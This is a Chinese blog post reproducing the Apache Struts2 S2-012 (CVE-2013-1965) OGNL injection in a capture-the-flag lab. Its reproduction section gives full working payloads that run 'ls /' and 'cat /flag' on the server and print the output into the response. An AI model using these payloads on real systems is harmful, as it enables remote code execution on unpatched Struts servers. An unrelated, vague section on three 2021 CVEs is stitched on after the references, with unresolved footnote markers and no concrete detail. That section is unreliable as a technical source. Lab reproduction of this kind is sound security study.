CVE-2013-1965 S2-012复现

CVE-2013-1965 S2-012复现


🍉 === shell
来源:https://yunjing.ichunqiu.com/cve/detail/947?type=1&pay=2


漏洞信息

漏洞名称远程代码执行漏洞
漏洞编号CVE-2013-1965
危害等级高危
漏洞类型中间件漏洞
漏洞厂商Apache
漏洞组件Struts2
受影响版本2.1.0 <= Struts2 <= 2.3.13

漏洞概述 : S2-012中,包含特制请求参数的请求可用于将任意 OGNL 代码注入属性,然后用作重定向地址的请求参数,这将导致进一步评估。当重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时,将进行第二次评估。这使恶意用户可以将任意 OGNL 语句放入由操作公开的任何未过滤的 String 变量中,并将其评估为 OGNL 表达式,以启用方法执行并执行任意方法,从而绕过 Struts 和 OGNL 库保护。

漏洞复现

POC:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“ls”, “/”})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

直接在输入框提交
请添加图片描述
命令ls /执行响应结果写入user.action,并获取user.action文件
请添加图片描述
使用抓包的形式:
请添加图片描述

读取flag

POC:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{“cat”, “/flag”})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get(“com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

请添加图片描述


参考:https://cloud.tencent.com/developer/article/2197848 https://www.cnblogs.com/peace-and-romance/p/15635486.html
### CVE-2021系列漏洞复现实例 #### CVE-2021-34429 Jetty WEB-INF文件读取漏洞复现 对于Jetty服务器中的CVE-2021-34429漏洞,该缺陷允许攻击者通过特定路径访问受保护的WEB-INF目录下的资源。为了验证此安全问题的存在,在实验环境中启动了受影响版本的服务,并利用浏览器尝试获取敏感配置文件。 当部署好存在漏洞的应用程序之后,可以通过如下URL请求查看是否存在未授权的信息泄露情况: ``` http://<target-ip>:8080/ ``` 其中`<target-ip>`应替换为目标机器的实际IP地址[^1]。 一旦成功连接到服务端口并正确构建查询字符串,则可能返回不应该公开的内容片段,证明了潜在的安全风险确实存在于当前设置之中。 停止测试环境的操作命令为`docker-compose down`以便清理所有关联容器及其网络结构。 ```bash docker-compose down ``` #### CVE-2021-31805 Struts2 OGNL注入漏洞(S2-062) 针对Struts框架里的CVE-2021-31805即S2-062事件,它涉及到了恶意OGNL表达式的执行能力,从而实现远程代码控制的目的。要重现这一现象,通常会构造特殊的HTTP参数提交给易受攻击的应用接口,这些参数包含了精心设计过的脚本逻辑用于突破默认防护机制。 例如,可以向应用程序发送带有特殊构造的数据包,触发后台解析过程中存在的弱点,进而达到任意指令下发的效果。具体操作方式依赖于目标平台的具体实现细节以及所使用的组件库版本号等因素影响下而有所不同[^2]。 #### WebLogic CVE-2021-2394 反序列化RCE漏洞 关于Oracle WebLogic Server内的CVE-2021-2394问题,这是一种基于Java对象流处理不当引发的远程命令执行隐患。由于其内部某些功能模块未能充分校验外部输入数据的有效性和安全性,使得经过特别编码后的二进制串能够在未经适当审查的情况下被加载运行,最终造成不受限权限滥用的可能性增加。 这种类型的攻击往往涉及到复杂的技术手段组合应用,比如结合其他已知漏洞形成更强大的穿透力;同时也要注意官方给出的各种修复建议和补丁更新信息,及时采取措施防止此类威胁扩散蔓延开来[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值